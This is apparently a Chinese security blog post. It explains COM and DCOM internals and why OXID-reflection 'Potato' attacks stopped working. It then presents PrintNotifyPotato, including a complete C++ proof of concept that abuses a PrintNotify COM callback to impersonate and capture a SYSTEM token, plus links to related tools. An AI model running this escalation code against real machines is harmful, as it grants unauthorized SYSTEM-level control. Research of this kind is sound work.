一、概述
自从Window10 1803/Server2016及以上打了微软的补丁之后,基于OXID 反射NTLM提权已经失效了,代表作如JuicyPotato、SweetPotato,
本文将从COM开发与调用开始,寻找替代OXID 反射NTLM提权的方法
二、关于COM对象
COM对象即“组件对象模型”,是一个独立于平台、分布式、面向对象的系统。它定义了一组接口和规则,用于在不同编程语言和运行环境之间交换信息和实现跨平台计算。
COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。通常情况下,一个COM对象由两部分组成:一个接口(Interface)和一个实现(Implementation)。接口定义了该对象的功能和行为,实现则实现了接口的具体功能。
COM对象的优点在于它具有跨语言、跨平台的特性,使得不同语言、不同平台的程序能够相互调用和协作。另外,COM对象的接口和实现分离的设计方式,使得它能够更好地支持多态和继承。
总之,COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。它由接口和实现两部分组成,接口定义了对象的功能和行为,实现则实现了接口的具体功能。COM对象具有跨语言、跨平台的特性,使得不同语言和不同平台的程序能够相互调用和协作。它的接口和实现分离的设计方式提高了程序的可重用性和可维护性。
三、COM与DCOM对象的区别
COM(组件对象模型)是一种用于在不同软件组件之间进行通信的技术,它提供了一种方法,允许开发人员创建可以在多个软件组件之间共享的对象,从而提高了软件开发的灵活性和可重用性。
DCOM(分布式组件对象模型)是一种在网络上运行的分布式技术,它扩展了COM的功能,使得可以在不同的计算机之间进行通信和交互。
因此,COM是在客户端计算机的本地级别执行的,而DCOM则是在服务器端运行的。这意味着,DCOM比COM更具有分布式特性,可以在不同的计算机之间进行通信和交互。此外,DCOM还可以为远程组件提供安全性和访问控制,从而提高了系统的安全性。
DCOM可以为远程组件提供安全性和访问控制。它通过使用不同的安全机制,如身份验证和授权,来保护远程组件的数据和资源。这样可以防止未经授权的用户访问组件,从而提高了系统的安全性。
另外,DCOM还支持跨网络的通信,即可以在不同的网络中的计算机之间进行通信。这使得系统可以更好地支持分布式应用程序,提高了系统的可用性和可扩展性。
总之,DCOM是一种扩展了COM的技术,用于在不同的计算机之间进行通信和交互。它提供了安全性和访问控制,并支持跨网络的通信,可以更好地支持分布式应用程序。
四 、OBJREF
在DCOM中,OBJREF(对象引用)是一个重要的概念。它表示一个远程对象的引用,用于在远程调用时传递对象的信息。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。
OXID(对象交互标识符)是OBJREF中的一个重要部分,它表示一个远程对象的唯一标识符,用于在远程调用时识别该对象。OXID通常由一个GUID和一个服务器地址组成,用于指定该对象所在的计算机。
OID(对象标识符)也是OBJREF中的一个重要部分,它表示一个对象的唯一标识符,用于在单个计算机中识别该对象。OID通常由一个GUID组成,用于唯一标识一个对象。
IPID(对象接口标识符)也是OBJREF中的一个重要部分,它表示一个对象的接口的唯一标识符,用于在单个计算机中识别该接口。IPID通常由一个GUID组成,用于唯一标识一个接口。
在DCOM中,OBJREF是一个重要的概念,它表示一个远程对象的引用。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。在进行远程调用时,OBJREF用于传递对象的信息,从而实现对象的交互和通信。
五、JuicyPotato的原理
JuicyPotato使用CoGetInstanceFromIStorage触发远程调用,CoGetInstanceFromIStorage是一个Windows API函数,用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例,并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。
在调用CoGetInstanceFromIStorage创建对象时会触发传入的IStorage接口进行加载对象,在加载对象时JuicyPotato将反序列化的类型设置成“00000306-0000-0000-C000-000000000046”PointerMoniker
PointerMoniker指的是对象的引用,也就是说在调用CoGetInstanceFromIStorage时,COM服务会获取反序列化的Class类型,然后根据类型进行下一步反序列化。
然后JuicyPotato在IStorage MarshalInterface序列化对象时,写入了引用的对象,并且将对象引用的端口监听地址修改成自己启动的假的IRemUnknownServer
然后JuicyPotato会对来自COM Server的流量进行解析,解析出NTLM认证信息再通过AcceptSecurityContext获取Token。
但是Window10 1803/Server2016 COM Server就强制规定了OXID解析的端口是135并且还是匿名登录。
六、调用COM时的对象引用与PrintNotifyPotato
当我们在调用COM方法时,有些方法可能要求我们提供一个IUnknown对象或者IDispatch,当COM Server去操作我们提供的IUnknown对象时,COM Serve会回调我们实现的对象,我们就可以通过CoImpersonateClient去模拟COM Server。
来自COM Server的调用我们实现的QueryInterface方法,我们可以在实现的QueryInterface方法模拟COM Server的权限
Demo
// PrintNotifyDemo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//
#include <iostream>#include "ole2.h"#include <comdef.h>#include <printerextension.h>#include <sddl.h>
GUID PrintNotifyGUID = { 0x854a20fb,0x2d44,0x457d,{0x99,0x2f,0xef,0x13,0x78,0x5d,0x2b,0x51} };
IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };
class FakeObject : public IUnknown{ LONG m_lRefCount;
void TryImpersonate(){ if (*m_ptoken == nullptr) { HRESULT hr = CoImpersonateClient(); if (SUCCEEDED(hr)) { HANDLE hToken; if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken)) { PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000); DWORD ret_len = 0;
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len)) { LPWSTR sid_name;
ConvertSidToStringSid(user->User.Sid, &sid_name);
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr)) { *m_ptoken = hToken; RevertToSelf(); } else { CloseHandle(hToken); }
printf("Got Token: %p %lsn", hToken, sid_name); LocalFree(sid_name); } else { printf("Error getting token user %dn", GetLastError()); } free(user); } else { printf("Error opening token %dn", GetLastError()); } } } }
public: HANDLE* m_ptoken; //Constructor, Destructor FakeObject(HANDLE* ptoken) { m_lRefCount = 1; m_ptoken = ptoken; *m_ptoken = nullptr; }
~FakeObject() {};
//IUnknown HRESULT __stdcall QueryInterface(REFIID riid, LPVOID* ppvObj){ TryImpersonate();
if (riid == __uuidof(IUnknown)) { *ppvObj = this; } else if (riid == IID_FakeInterface) { printf("Check for FakeInterfacen"); *ppvObj = this; } else { *ppvObj = NULL; return E_NOINTERFACE; }
AddRef(); return NOERROR; }
ULONG __stdcall AddRef(){ TryImpersonate(); return InterlockedIncrement(&m_lRefCount); }
ULONG __stdcall Release(){ TryImpersonate(); // not thread safe ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount) { delete this; }
return ulCount; }};
int main(){ // 初始化COM运行时 CoInitialize(NULL); //初始化COM运行时上下文 HRESULT hr;
IMonikerPtr pFakeObj; HANDLE ptoken = NULL;
FakeObject* fakeObject = new FakeObject(&ptoken);
//CreatePointerMoniker(fakeObject, &pFakeObj);
IUnknown* pPrintNotify = NULL;
hr = CoCreateInstance(PrintNotifyGUID, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pPrintNotify));
if (SUCCEEDED(hr)) { IConnectionPointContainer* pIPrinterExtensionServerEventCallbackInternal;
hr = pPrintNotify->QueryInterface<IConnectionPointContainer>(&pIPrinterExtensionServerEventCallbackInternal);
IEnumConnectionPoints* pIEnumConnectionPoints;
hr = pIPrinterExtensionServerEventCallbackInternal->EnumConnectionPoints(&pIEnumConnectionPoints);
LPCONNECTIONPOINT pCONNECTIONPOINT; ULONG fetched;
hr = pIEnumConnectionPoints->Next(1, &pCONNECTIONPOINT, &fetched);
DWORD cookie;
hr = pCONNECTIONPOINT->Advise(fakeObject, &cookie);
printf("Got Token At :%pn", fakeObject->m_ptoken); } else { printf("CoCreateInstance fail hr: %dn",hr); }
std::cout << "Hello World!n"; return 0;}
回到我们的IIS服务器,我发现创建PrintNotify失败了?
它只允许以下用户组该怎么办?
通过查找我发现一个工具可以获取INTERACTIVE用户组,https://github.com/antonioCoco/RunasCs
在调用LogonUser方法时,lsasrv不会校验用户所有的权限和用户组,直接为当前Token添加INTERACTIVE组,然后剩下的工作照常运行,PrintNotifyPotato可以在Windows 2012-2022运行
https://github.com/BeichenDream/PrintNotifyPotato
引用
http://code.google.com/p/google-security-research/issues/detail?id=128
还没有评论,来说两句吧...